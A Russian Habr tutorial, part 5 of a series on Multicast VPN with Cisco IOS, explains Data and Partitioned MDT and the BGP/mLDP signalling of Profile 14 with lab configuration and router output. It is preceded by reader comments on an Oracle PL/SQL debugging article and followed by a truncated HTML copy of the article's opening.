{ "id": [ 10447504, 10447572, 10448502, 10448532, 10448534, 10448536, 10448548, 10448550, 10448552, 10448554, 10448774, 10454132, 10454136, 10454138 ], "parent_id": [ null, 10447504, null, null, 10448532, null, 10448536, 10448502, 10448502, 10448502, 10448550, 10448552, 10448534, 10448534 ], "level": [ 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 2, 2, 2, 2 ], "time_published": [ 1506937595, 1506939764, 1506987769, 1506997809, 1506997847, 1506997859, 1507001103, 1507001210, 1507001276, 1507001361, 1507019838, 1507153011, 1507153113, 1507153195 ], "score": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сигналы теряются, т.к. при эмиссии нескольких сигналов до вызова метода dbms_alert.waitone, он возвращает только последний. Т.е. если между вызовами waitone было более одного сигнала остальные будут потеряны.<br/>\r\nНу и подписываться/отписываться (dbms_alert.register/remove) на сигнал внутри процедуры не имеет смысла.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, действительно работает без register/remove. В статье поправил, спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Странный выбор… Это больше похоже на логгирование, а не отладку. Для дебага есть как раз plsql_debug, позволяющий устанавливать breakpoint'ы, получать значения переменных и т.д. Кстати, PL/SQL Developer умеет с ним работать, но только для сессий запущенных в нем самом.<br/>\r\nА для логгирования лучше использовать что-то более гибкое и стандартное, например, всяческие аналоги логгеров из Java: <br/>\r\n<a href=\"https://github.com/OraOpenSource/Logger\">github.com/OraOpenSource/Logger</a><br/>\r\n<a href=\"http://log4plsql.sourceforge.net/\">log4plsql.sourceforge.net</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А разве dbms_pipe работает между разными нодами Oracle RAC?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не пробовал, если есть возможность проверь и отпишись в коменты. ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>только pipe периодически забивается и приходится использовать метод: dbms_pipe.purge</blockquote><br/>\r\nНадо использовать при открытии pipe параметр maxpipesize с адекватным значением и не забывать выбирать из pipe все сообщения. И ничего забиваться не будет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хорошее замечание, спасибо!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Для дебага есть как раз plsql_debug, позволяющий устанавливать breakpoint'ы, получать значения переменных и т.д.</blockquote><br/>\r\nЯ правильно понимаю что ты говоришь про: <a href=\"https://docs.oracle.com/cd/B19306_01/server.102/b14237/initparams161.htm#REFRN10254\">docs.oracle.com/cd/B19306_01/server.102/b14237/initparams161.htm#REFRN10254</a>?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Кстати, PL/SQL Developer умеет с ним работать, но только для сессий запущенных в нем самом.</blockquote><br/>\r\nКонкретно эта статья нацелена на отладку веба/среднего слоя, поэтому данный материал не рассматривался.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А для логгирования лучше использовать что-то более гибкое и стандартное, например, всяческие аналоги логгеров из Java:<br/>\r\ngithub.com/OraOpenSource/Logger<br/>\r\nlog4plsql.sourceforge.net</blockquote><br/>\r\nСпасибо за обзор инструментов, но в рамках данной статьи была цель показать как пользоваться оракловыми средвами без внешних инструментов ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ошибся имел ввиду DBMS_debug</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Оба этих «инструмента» не подходят ни для отладки, ни для логгирования.<br/>\r\nЭто будет дикий overkill — логгировать инструментами, рассчитанными на синхронную/полусинхронную работу. Особенно, для каких-нибудь bulk-операций да еще и параллельных, да с высокой скоростью обработки — тут же упретесь в ограничения. Да еще и не дает возможности «заглянуть в прошлое».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конечно, не работает. Читать пайпы можно только внутри одной ноды, чтобы читать с другой — надо подключаться и к другой ноде тоже.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чеклист для RAC:<br/>\r\n<a href=\"http://www.oracle.com/technetwork/database/availability/racdbawareapplications-1933522.pdf\">www.oracle.com/technetwork/database/availability/racdbawareapplications-1933522.pdf</a></div>" ], "message_markdown": [ "Сигналы теряются, т.к. при эмиссии нескольких сигналов до вызова метода dbms_alert.waitone, он возвращает только последний. Т.е. если между вызовами waitone было более одного сигнала остальные будут потеряны.\nНу и подписываться/отписываться (dbms_alert.register/remove) на сигнал внутри процедуры не имеет смысла.", "Да, действительно работает без register/remove. В статье поправил, спасибо!", "Странный выбор... Это больше похоже на логгирование, а не отладку. Для дебага есть как раз plsql_debug, позволяющий устанавливать breakpoint'ы, получать значения переменных и т.д. Кстати, PL/SQL Developer умеет с ним работать, но только для сессий запущенных в нем самом.\nА для логгирования лучше использовать что-то более гибкое и стандартное, например, всяческие аналоги логгеров из Java:\ngithub.com/OraOpenSource/Logger\nlog4plsql.sourceforge.net", "А разве dbms_pipe работает между разными нодами Oracle RAC?", "Не пробовал, если есть возможность проверь и отпишись в коменты. ;)", "> только pipe периодически забивается и приходится использовать метод: dbms_pipe.purge\nНадо использовать при открытии pipe параметр maxpipesize с адекватным значением и не забывать выбирать из pipe все сообщения. И ничего забиваться не будет.", "Хорошее замечание, спасибо!", "> Для дебага есть как раз plsql_debug, позволяющий устанавливать breakpoint'ы, получать значения переменных и т.д.\nЯ правильно понимаю что ты говоришь про: docs.oracle.com/cd/B19306_01/server.102/b14237/initparams161.htm#REFRN10254?", "> Кстати, PL/SQL Developer умеет с ним работать, но только для сессий запущенных в нем самом.\nКонкретно эта статья нацелена на отладку веба/среднего слоя, поэтому данный материал не рассматривался.", "> А для логгирования лучше использовать что-то более гибкое и стандартное, например, всяческие аналоги логгеров из Java:\n> github.com/OraOpenSource/Logger\n> log4plsql.sourceforge.net\nСпасибо за обзор инструментов, но в рамках данной статьи была цель показать как пользоваться оракловыми средвами без внешних инструментов ;)", "Ошибся имел ввиду DBMS_debug", "Оба этих «инструмента» не подходят ни для отладки, ни для логгирования.\nЭто будет дикий overkill — логгировать инструментами, рассчитанными на синхронную/полусинхронную работу. Особенно, для каких-нибудь bulk-операций да еще и параллельных, да с высокой скоростью обработки — тут же упретесь в ограничения. Да еще и не дает возможности «заглянуть в прошлое».", "Конечно, не работает. Читать пайпы можно только внутри одной ноды, чтобы читать с другой — надо подключаться и к другой ноде тоже.", "Чеклист для RAC:\nwww.oracle.com/technetwork/database/availability/racdbawareapplications-1933522.pdf" ], "author": [ "Eivind", "Юрий Пухов (ympukhov)", "Sayan Malakshinov (xtender)", "krupt", "Юрий Пухов (ympukhov)", "evilgeek", "Юрий Пухов (ympukhov)", "Юрий Пухов (ympukhov)", "Юрий Пухов (ympukhov)", "Юрий Пухов (ympukhov)", "Sayan Malakshinov (xtender)", "Sayan Malakshinov (xtender)", "Sayan Malakshinov (xtender)", "Sayan Malakshinov (xtender)" ], "children": [ [ 10447572 ], [], [ 10448550, 10448552, 10448554 ], [ 10448534 ], [ 10454136, 10454138 ], [ 10448548 ], [], [ 10448774 ], [ 10454132 ], [], [], [], [], [] ] }
531,476
ru
https://habr.com/ru/post/531476/
Внедрение Multicast VPN на Cisco IOS (часть 5 — знакомство с Data/Partitioned MDT)
В предыдущих выпусках: Profile 0 Profile 1 Profile 3 Profile 11 Как мы узнали из прошлых записей, в опорной сети при реализации mVPN всегда присутствует конструкция Default MDT, к которой подключены все РЕ маршрутизаторы. В рамках данного MDT передаются служебные сообщения PIM (например Bootstrap, Auto-RP), а также пользовательский многоадресный трафик. В результате получается, что какие-то РЕ устройства получают даже тот трафик, на который они не подписывались. Если хотите узнать как с этим бороться — добро пожаловать под кат! Для того чтобы повысить эффективность передачи данных используется дополнительная конструкция, которая именуется как «Data MDT». Идея, которая лежит в её основе, заключается в следующем: В рамках дерева распространяется только C-(S, G) трафик Участниками дерева становятся только те Egress PE, у которых есть заинтересованные получатели Корневым устройством Data MDT является Ingress PE (маршрутизатор, за которым находится источник) Визуально это выглядит следующим образом: Если представить ситуацию, в которой источник начинает вещать на вторую многоадресную группу (230.1.1.2), получатели для которой находятся только за РЕ2 и РЕ3, то создаётся дополнительное Data MDT и общая картинка приобретает вид (Default MDT опущено): Сигнализация по переключению трафика от Default MDT к Data MDT осуществляется исключительно по-требованию при превышении заданного порога со стороны Ingress PE либо средствами PIM, либо средствами BGP. #### Data MDT с помощью PIM Если для сигнализации используется PIM, то ingress PE генерирует специальное сообщение PIM Data-MDT TLV и отправляет его в рамках Default MDT чтобы быть уверенным в том, что все РЕ смогут получить данное сообщение. Одновременно с отправкой Data MDT TLV, Ingress PE запускает таймер, равный трём секундам. По истечении таймера, все пакеты будут передаваться в рамках Data MDT. Также необходимо отметить тот факт, что информация, содержащаяся в Data-MDT TLV кешируется на всех РЕ. Причина тому довольно банальна — даже если в текущий момент на конкретном РЕ нет заинтересованных получателей трафика, они могут появиться там спустя некоторое время. Соответственно, при получении PIM Join (внутри C-VRF) PE может моментально подключиться к уже существующему на сети Data MDT. Прим. Data-MDT TLV передаются раз в минуту. Каждое Data MDT устанавливается для отдельного (S, G) маршрута в рамках VPN/VRF. Администратору необходимо явно указать максимальное количество Data MDT, которое может быть создано на устройстве. Если в какой-то момент количество вновь устанавливаемых деревьев достигает заданного предела, то следующие деревья будут переиспользовать уже установленные. Прим. На момент написания статьи, Cisco IOS не поддерживает PIM сигнализацию поверх Data MDT. Все профили с данной сигнализацией доступны только на операционной системе IOS XR. #### Data MDT с помощью BGP При использовании BGP в наложенной сети для сигнализации Data MDT, основные принципы остаются неизменными (по сравнению с PIM): ingress PE сигнализирует всем РЕ о том, что трафик для C-(S,G) будет передаваться в рамках Data MDT egress PE при получении BGP апдейта присоединяется к указанному дереву для сигнализации используется адресное семейство mVPN (sAFI 129). Получается, что Ingress PE должен сформировать специальное BGP Update сообщение и отправить его всем РЕ в рамках mVPN. Для этого используется маршрут третьего типа. ### Profile 14 Рассмотрим описанный переход на примере нашей лаборатории. В частности, применим конфигурацию, известную как «Profile 14». Данный профиль характеризуется использованием BGP mVPN A-D для построения P2MP MLDP LSP. На РЕ будем использовать следующий шаблон конфигурации: [code] ip vrf C-ONE mdt auto-discovery mldp mdt partitioned mldp p2mp mdt overlay use-bgp mdt strict-rpf interface ! router bgp 1 address-family ipv4 mvpn neighbor 8.8.8.8 activate neighbor 8.8.8.8 send-community extended exit-address-family [/code] Прим. о предназначении команды `mdt strict-rpf` interface поговорим в следующем выпуске. #### Auto-Discovery Посмотрим, что происходит на РЕ1: На каждом РЕ создаётся интерфейс Lspvif0, на котором активируется C-PIM. [code] *Dec 3 10:04:54.450: %LINEPROTO-5-UPDOWN: Line protocol on Interface Lspvif0, changed state to up [/code] Никаких соседей на данный момент нет: [code] PE1#show ip pim vrf C-ONE int Address Interface Ver/ Nbr Query DR DR Mode Count Intvl Prior 172.1.11.1 GigabitEthernet2.111 v2/S 1 30 1 172.1.11.11 172.1.15.1 GigabitEthernet2.115 v2/S 1 30 1 172.1.15.15 1.1.1.1 Lspvif0 v2/S 0 30 1 1.1.1.1 [/code] Посмотрим BGP таблицу: [code] PE1#show bgp ipv4 mvpn all BGP table version is 39, local router ID is 1.1.1.1 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter, x best-external, a additional-path, c RIB-compressed, t secondary path, Origin codes: i - IGP, e - EGP, ? - incomplete RPKI validation codes: V valid, I invalid, N Not found Network Next Hop Metric LocPrf Weight Path Route Distinguisher: 1.1.1.1:1 (default for vrf C-ONE) *> [1][1.1.1.1:1][1.1.1.1]/12 0.0.0.0 32768 ? *>i [1][1.1.1.1:1][2.2.2.2]/12 2.2.2.2 0 100 0 ? *>i [1][1.1.1.1:1][3.3.3.3]/12 3.3.3.3 0 100 0 ? *>i [1][1.1.1.1:1][4.4.4.4]/12 4.4.4.4 0 100 0 ? Route Distinguisher: 2.2.2.2:1 *>i [1][2.2.2.2:1][2.2.2.2]/12 2.2.2.2 0 100 0 ? Route Distinguisher: 3.3.3.3:1 Network Next Hop Metric LocPrf Weight Path *>i [1][3.3.3.3:1][3.3.3.3]/12 3.3.3.3 0 100 0 ? Route Distinguisher: 4.4.4.4:1 *>i [1][4.4.4.4:1][4.4.4.4]/12 4.4.4.4 0 100 0 ? Route Distinguisher: 1.1.1.1:1 (default for vrf C-ONE) *> [3][1.1.1.1:1][*][*][1.1.1.1]/14 0.0.0.0 32768 ? *>i [3][1.1.1.1:1][*][*][2.2.2.2]/14 2.2.2.2 0 100 0 ? *>i [3][1.1.1.1:1][*][*][3.3.3.3]/14 3.3.3.3 0 100 0 ? *>i [3][1.1.1.1:1][*][*][4.4.4.4]/14 4.4.4.4 0 100 0 ? *> [3][1.1.1.1:1][*][224.0.0.13][1.1.1.1]/18 0.0.0.0 32768 ? Route Distinguisher: 2.2.2.2:1 *>i [3][2.2.2.2:1][*][*][2.2.2.2]/14 2.2.2.2 0 100 0 ? Route Distinguisher: 3.3.3.3:1 *>i [3][3.3.3.3:1][*][*][3.3.3.3]/14 3.3.3.3 0 100 0 ? Network Next Hop Metric LocPrf Weight Path Route Distinguisher: 4.4.4.4:1 *>i [3][4.4.4.4:1][*][*][4.4.4.4]/14 4.4.4.4 0 100 0 ? [/code] Как видно, в дополнение к уже рассмотренным ранее маршрутам первого типа, добавляются маршруты третьего типа S-PMSI A-D, которые используются для объявления РЕ в качестве Ingress маршрутизатора для конкретной C-(S,G) группы. На текущий момент группа равна (*, *). Это говорит о желании РЕ участвовать в построении Partitioned MDT. Очевидно, чтобы заработала передача данных, в рамках VRF должна быть известна информация о точке рандеву. В нашем случае в качестве RP и BSR выступает CE15. [code] C-RP#sh run | i pim ip pim bsr-candidate Loopback0 0 ip pim rp-candidate Loopback0 [/code] Поскольку у C-RP построено PIM соседство с PE1, то на этом РЕ1 информация об RP также известна: [code] PE1#show ip pim vrf C-ONE rp mapping Auto-RP is not enabled PIM Group-to-RP Mappings Group(s) 224.0.0.0/4 RP 15.15.15.15 (?), v2 Info source: 15.15.15.15 (?), via bootstrap, priority 0, holdtime 150 Uptime: 01:25:50, expires: 00:01:26 [/code] Необходимо доставить эту информацию до всех остальных PE/CE. Как это сделать? Чтобы лучше понять принцип, предлагаю пойти от обратного и начать просмотра уже известной информации на СЕ2: [code] CE2#show ip pim rp mapping Auto-RP is not enabled PIM Group-to-RP Mappings Group(s) 224.0.0.0/4 RP 15.15.15.15 (?), v2 Info source: 15.15.15.15 (?), via bootstrap, priority 0, holdtime 150 Uptime: 01:27:54, expires: 00:02:26 [/code] Как видим, сообщения PIM BSR распространилось по mVPN инфраструктуре. Посмотрим дамп трафика на РЕ1: Как видим PE1 инкапсулирует сообщение PIM BSR внутрь MPLS и помечает его меткой 28. Откуда она берётся? Можем предположить, что поскольку этот пакет достиг СЕ2 (а значит и РЕ2), то есть некий LSP до РЕ2. [code] PE2#show mpls mldp database * For interface indicates MLDP recursive forwarding is enabled * For RPF-ID indicates wildcard value > Indicates it is a Primary MLDP MDT Branch LSM ID : 1 Type: P2MP Uptime : 04:17:40 FEC Root : 2.2.2.2 (we are the root) Opaque decoded : [gid 65536 (0x00010000)] Opaque length : 4 bytes Opaque value : 01 0004 00010000 Upstream client(s) : None Expires : N/A Path Set ID : 1 Replication client(s): > MDT (VRF C-ONE) Uptime : 04:17:40 Path Set ID : None Interface : Lspvif0 RPF-ID : * LSM ID : 3 Type: P2MP Uptime : 01:30:06 FEC Root : 1.1.1.1 Opaque decoded : [gid 131071 (0x0001FFFF)] Opaque length : 4 bytes Opaque value : 01 0004 0001FFFF Upstream client(s) : 6.6.6.6:0 [Active] Expires : Never Path Set ID : 3 Out Label (U) : None Interface : GigabitEthernet2.26* Local Label (D): 34 Next Hop : 10.2.6.6 Replication client(s): MDT (VRF C-ONE) Uptime : 01:30:06 Path Set ID : None Interface : Lspvif0 RPF-ID : * [/code] Из анализа базы mLDP видно, что на РЕ2 есть некое дерево (LSM ID: 3), корнем которого является PE1 (IP = 1.1.1.1), Opaque = 01 0004 0001FFFF и для этого дерева сгенерирована локальная метка 34, которая отправлена соседу R6 (P2). Откуда РЕ2 узнал о дереве, корнем которого является PE1 да ещё и получил Opaque для него? Ответ прост — с помощью BGP маршрута третьего типа. Когда РЕ1 получил PIM BSR, то сгенерировал дополнительный BGP маршрут, который описывает группу (*, 224.0.0.13) (напоминаю, что это зарезервированный адрес для рассылки всех служебных PIM сообщений). Этот маршрут служит для объявления нового многоадресного mLDP дерева. Внутри РТА указано Opaque значение, которое необходимо использовать для сигнализации посредством mLDP. [code] PE1#show bgp ipv4 mvpn all route-type 3 * 224.0.0.13 1.1.1.1 BGP routing table entry for [3][1.1.1.1:1][*][224.0.0.13][1.1.1.1]/18, version 116 Paths: (1 available, best #1, table MVPNv4-BGP-Table, not advertised to EBGP peer) Advertised to update-groups: 1 Refresh Epoch 1 Local 0.0.0.0 from 0.0.0.0 (1.1.1.1) Origin incomplete, localpref 100, weight 32768, valid, sourced, local, best Community: no-export Extended Community: RT:65001:1 PMSI Attribute: Flags: 0x0, Tunnel type: 2, length 17, label: exp-null, tunnel parameters: 0600 0104 0101 0101 0007 0100 0400 01FF FF rx pathid: 0, tx pathid: 0x0 [/code] Таким образом, РЕ2 импортируя этот маршрут, может начать mLDP сигнализацию в сторону РЕ1 для дерева (*, 224.0.0.13). Для полученной от РЕ2 метки, Р2 (R6) генерирует свой собственную локальную (29) и отправляет её в сторону P1 (R5): [code] P2#show mpls mldp database * For interface indicates MLDP recursive forwarding is enabled * For RPF-ID indicates wildcard value > Indicates it is a Primary MLDP MDT Branch LSM ID : 2 Type: P2MP Uptime : 01:40:24 FEC Root : 1.1.1.1 Opaque decoded : [gid 131071 (0x0001FFFF)] Opaque length : 4 bytes Opaque value : 01 0004 0001FFFF Upstream client(s) : 5.5.5.5:0 [Active] Expires : Never Path Set ID : 2 Out Label (U) : None Interface : GigabitEthernet2.56* Local Label (D): 29 Next Hop : 10.5.6.5 Replication client(s): 2.2.2.2:0 Uptime : 01:40:24 Path Set ID : None Out label (D) : 34 Interface : GigabitEthernet2.26* Local label (U): None Next Hop : 10.2.6.2 [/code] Аналогичным образом поступает и Р1 (R5), генерируя свою локальную метку для дерева и отправляя её к РЕ1: [code] P1#show mpls mldp database * For interface indicates MLDP recursive forwarding is enabled * For RPF-ID indicates wildcard value > Indicates it is a Primary MLDP MDT Branch LSM ID : 2 Type: P2MP Uptime : 01:41:24 FEC Root : 1.1.1.1 Opaque decoded : [gid 131071 (0x0001FFFF)] Opaque length : 4 bytes Opaque value : 01 0004 0001FFFF Upstream client(s) : 1.1.1.1:0 [Active] Expires : Never Path Set ID : 2 Out Label (U) : None Interface : GigabitEthernet2.15* Local Label (D): 28 Next Hop : 10.1.5.1 Replication client(s): 4.4.4.4:0 Uptime : 01:41:24 Path Set ID : None Out label (D) : 34 Interface : GigabitEthernet2.45* Local label (U): None Next Hop : 10.4.5.4 7.7.7.7:0 Uptime : 01:41:24 Path Set ID : None Out label (D) : 30 Interface : GigabitEthernet2.57* Local label (U): None Next Hop : 10.5.7.7 6.6.6.6:0 Uptime : 01:41:24 Path Set ID : None Out label (D) : 29 Interface : GigabitEthernet2.56* Local label (U): None Next Hop : 10.5.6.6 [/code] Визуально весь процесс представлен на рисунке ниже: #### Присоединение к Shared Tree и построение корневого P2MP дерева (ROOT = RP-PE) Шаг 2. В сети появляется получатель трафика. После того как Egress PE (РЕ2) получает PIM Join от CE для C-(*, G), PE2 производит RPF проверку чтобы найти BGP Next-Hop в сторону C-RP. Найденный Next-Hop (1.1.1.1) будет использоваться как Partitioned MDT ROOT для mLDP. Дополнительно РЕ2 создаёт интерфейс Lspvif внутри C-VRF: [code] PE2# *Dec 3 14:46:21.606: %LINEPROTO-5-UPDOWN: Line protocol on Interface Lspvif1, changed state to up PE2# *Dec 3 14:46:22.310: %PIM-5-DRCHG: VRF C-ONE: DR change from neighbor 0.0.0.0 to 2.2.2.2 on interface Lspvif1 [/code] Шаг 3. Egress PE (PE2) генерирует сообщение mLDP mapping в сторону RP-PE (ROOT P2MP MDT) используя Opaque значение из BGP апдейта. [code] PE2#show mpls mldp database summary LSM ID Type Root Decoded Opaque Value Client Cnt. 4 P2MP 1.1.1.1 [gid 65536 (0x00010000)] 1 1 P2MP 2.2.2.2 [gid 65536 (0x00010000)] 1 3 P2MP 1.1.1.1 [gid 131071 (0x0001FFFF)] 1 PE2# PE2#show mvpn ipv4 vrf C-ONE auto-discovery s-pmsi * * detail I-PMSI - Intra-AS Inclusive-PMSI, S-PMSI - Selective-PMSI * - Indicates Wildcard source or group address [S-PMSI][1.1.1.1:1][*][*][1.1.1.1], Joined Orig: Remote Uptime: 04:44:27 Type: MLDP P2MP Root: 1.1.1.1 Fec-Opq: 1 Global-Id: 65536 (0x10000) [S-PMSI][3.3.3.3:1][*][*][3.3.3.3], Orig: Remote Uptime: 04:44:22 Type: MLDP P2MP Root: 3.3.3.3 Fec-Opq: 1 Global-Id: 65536 (0x10000) [S-PMSI][4.4.4.4:1][*][*][4.4.4.4], Orig: Remote Uptime: 04:44:20 Type: MLDP P2MP Root: 4.4.4.4 Fec-Opq: 1 Global-Id: 65536 (0x10000) [S-PMSI][2.2.2.2:1][*][*][2.2.2.2], Joined Orig: Local Uptime: 04:44:24 Type: MLDP P2MP Root: 2.2.2.2 Fec-Opq: 1 Global-Id: 65536 (0x10000) PE2#show mpls mldp database opaque_type gid 65536 LSM ID : 4 Type: P2MP Uptime : 00:03:43 FEC Root : 1.1.1.1 Opaque decoded : [gid 65536 (0x00010000)] Opaque length : 4 bytes Opaque value : 01 0004 00010000 Upstream client(s) : 6.6.6.6:0 [Active] Expires : Never Path Set ID : 4 Out Label (U) : None Interface : GigabitEthernet2.26* Local Label (D): 35 Next Hop : 10.2.6.6 Replication client(s): MDT (VRF C-ONE) Uptime : 00:03:43 Path Set ID : None Interface : Lspvif1 RPF-ID : 0x1 [/code] Шаг 4. Egress PE генерирует BGP маршрут шестого типа (присоединение к Shared Tree в сторону RP-PE). Данный маршрут импортируется только на RP-PE. [code] PE2#show bgp ipv4 mvpn all route-type 6 1.1.1.1:1 65001 15.15.15.15 230.1.1.1 BGP routing table entry for [6][1.1.1.1:1][65001][15.15.15.15/32][230.1.1.1/32]/22, version 130 Paths: (1 available, best #1, table MVPNv4-BGP-Table) Advertised to update-groups: 1 Refresh Epoch 1 Local 0.0.0.0 from 0.0.0.0 (2.2.2.2) Origin incomplete, localpref 100, weight 32768, valid, sourced, local, best Extended Community: RT:1.1.1.1:1 rx pathid: 1, tx pathid: 0x0 [/code] Шаг 5. RP-PE транслирует полученный BGP маршрут шестого типа в PIM Join в сторону RP. На этот момент RP готово к отправке многоадресного трафика в сторону Egress PE. Необходимо доставить трафик от источника до RP. [code] PE1#show ip mroute vrf C-ONE | b \( (*, 230.1.1.1), 00:07:08/stopped, RP 15.15.15.15, flags: SG Incoming interface: GigabitEthernet2.115, RPF nbr 172.1.15.15 Outgoing interface list: Lspvif0, Forward/Sparse, 00:07:08/stopped [/code] Шаг 6. Когда S-PE (PE4) получает первый многоадресный пакет от источника (CE4), трафик инкапсулируется внутрь сообщения PIM Register и отправляется как одноадресный пакет в сторону C-RP (используя обычные правила MPLS L3 VPN). Шаг 7. После получения PIM Register, C-RP начинает процесс построения дерева С-(14.14.14.14, 230.1.1.1). RP-PE получает PIM Join для C-(14.14.14.14, 230.1.1.1) от C-RP. Данное сообщение транслируется в BGP маршрут седьмого типа. Однако, перед отправкой в сторону источника, необходимо построить новое дерево Partitioned MDT с РЕ в качестве ROOT. Шаг 8. RP-PE производит RPF проверку чтобы найти BGP Next-Hop в сторону источника. Данный адрес будет использоваться как Partitioned MDT ROOT для mLDP. Шаг 9. Используя полученный BGP Next-Hop и BGP маршрут третьего типа от Ingress PE, RP-PR генерирует сообщение mLDP mapping в сторону IP адреса Ingress PE, тем самым строя корневое P2MP дерево до Ingress PE. Шаг 10. RP-PE отправляет BGP маршрут седьмого типа (Join от RP) в сторону Ingress PE. Шаг 11. Ingress PE преобразует полученный BGP маршрут седьмого типа в PIM Join и отправляет его в сторону источника трафика. #### Присоединение к Source Tree и построение P2MP (ROOT = S-PE) Шаг 12. Ingress PE также отправляет BGP маршрут пятого типа ко всем mVPN PE, тем самым информируя их о наличии активного источника в сети. Данный маршрут является триггером для переключения к SPT дереву. Шаг 13. Egress PE использует полученный BGP маршрут пятого типа для генерации сообщения mLDP mapping в сторону Ingress PE (информация о MDT берётся из BGP маршрута третьего типа). Таким образом теперь трафик может быть перенаправлен оптимальным путём от источника к получателю, используя mpls (mLDP) метки.
<div xmlns="http://www.w3.org/1999/xhtml">В предыдущих выпусках:<br/> <br/> <a href="https://habr.com/ru/post/528120/">Profile 0 </a><br/> <a href="https://habr.com/ru/post/529288/">Profile 1 </a><br/> <a href="https://habr.com/ru/post/529726/">Profile 3</a><br/> <a href="https://habr.com/ru/post/530150/">Profile 11</a><br/> <br/> Как мы узнали из прошлых записей, в опорной сети при реализации mVPN <strong>всегда</strong> присутствует конструкция Default MDT, к которой подключены все РЕ маршрутизаторы. В рамках данного MDT передаются служебные сообщения PIM (например Bootstrap, Auto-RP), а также пользовательский многоадресный трафик. В результате получается, что какие-то РЕ устройства получают даже тот трафик, на который они не подписывались.<br/> <br/> Если хотите узнать как с этим бороться — добро пожаловать под кат!<br/> <a name="habracut"></a><br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/8a2/bf9/0d3/8a2bf90d382345a5100237e96d5c4fe1.png" data-src="https://habrastorage.org/getpro/habr/post_images/8a2/bf9/0d3/8a2bf90d382345a5100237e96d5c4fe1.png"/></div><br/> <br/> Для того чтобы повысить эффективность передачи данных используется дополнительная конструкция, которая именуется как «Data MDT». Идея, которая лежит в её основе, заключается в следующем:<br/> <br/> <ul> <li>В рамках дерева распространяется только C-(S, G) трафик</li> <li>Участниками дерева становятся только те Egress PE, у которых есть заинтересованные получатели</li> <li>Корневым устройством Data MDT является Ingress PE (маршрутизатор, за которым находится источник)</li> </ul><br/> Визуально это выглядит следующим образом: <br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/e52/1f3/7fd/e521f37fd3278b6a93cb4a4936089c64.png" data-src="https://habrastorage.org/getpro/habr/post_images/e52/1f3/7fd/e521f37fd3278b6a93cb4a4936089c64.png"/></div><br/> <br/> Если представить ситуацию, в которой источник начинает вещать на вторую многоадресную группу (230.1.1.2), получатели для которой находятся только за РЕ2 и РЕ3, то создаётся дополнительное Data MDT и общая картинка приобретает вид (Default MDT опущено):<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/68d/13e/ba9/68d13eba9b2683b96703e12ef55055d7.png" data-src="https://habrastorage.org/getpro/habr/post_images/68d/13e/ba9/68d13eba9b2683b96703e12ef55055d7.png"/></div><br/> <br/> Сигнализация по переключению трафика от Default MDT к Data MDT осуществляется исключительно по-требованию при превышении заданного порога <strong>со стороны Ingress PE</strong> либо средствами PIM, либо средствами BGP.<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/61d/aa9/341/61daa93416e61ddf4e8d29ed67215900.png" data-src="https://habrastorage.org/getpro/habr/post_images/61d/aa9/341/61daa93416e61ddf4e8d29ed67215900.png"/></div><br/> <h4>Data MDT с помощью PIM</h4><br/> Если для сигнализации используется PIM, то ingress PE генерирует специальное сообщение PIM Data-MDT TLV и отправляет его в рамках Default MDT чтобы быть уверенным в том, что все РЕ смогут получить данное сообщение. Одновременно с отправкой Data MDT TLV, Ingress PE запускает таймер, равный трём секундам. По истечении таймера, все пакеты будут передаваться в рамках Data MDT.<br/> <br/> Также необходимо отметить тот факт, что информация, содержащаяся в Data-MDT TLV кешируется на <strong>всех</strong> РЕ. Причина тому довольно банальна — даже если в текущий момент на конкретном РЕ нет заинтересованных получателей трафика, они могут появиться там спустя некоторое время. Соответственно, при получении PIM Join (внутри C-VRF) PE может моментально подключиться к уже существующему на сети Data MDT.<br/> <br/> <i>Прим. Data-MDT TLV передаются раз в минуту.</i><br/> <br/> Каждое Data MDT устанавливается для отдельного (S, G) маршрута в рамках VPN/VRF. Администратору необходимо явно указать максимальное количество Data MDT, которое может быть создано на устройстве. Если в какой-то момент количество вновь устанавливаемых деревьев достигает заданного предела, то следующие деревья будут переиспользовать уже установленные.<br/> <br/> <i>Прим. На момент написания статьи, Cisco IOS не поддерживает PIM сигнализацию поверх Data MDT. Все профили с данной сигнализацией доступны только на операционной системе IOS XR.</i><br/> <br/> <h4>Data MDT с помощью BGP</h4><br/> При использовании BGP в наложенной сети для сигнализации Data MDT, основные принципы остаются неизменными (по сравнению с PIM):<br/> <br/> <ul> <li>ingress PE сигнализирует всем РЕ о том, что трафик для C-(S,G) будет передаваться в рамках Data MDT</li> <li>egress PE при получении BGP апдейта присоединяется к указанному дереву</li> <li>для сигнализации используется адресное семейство mVPN (sAFI 129).</li> </ul><br/> Получается, что Ingress PE должен сформировать специальное BGP Update сообщение и отправить его всем РЕ в рамках mVPN. Для этого используется маршрут третьего типа.<br/> <br/> <h3>Profile 14</h3><br/> Рассмотрим описанный переход на примере нашей лаборатории. В частности, применим конфигурацию, известную как «Profile 14». Данный профиль характеризуется использованием BGP mVPN A-D для построения P2MP MLDP LSP. <br/> <br/> На РЕ будем использовать следующий шаблон конфигурации:<br/> <br/> <pre><code 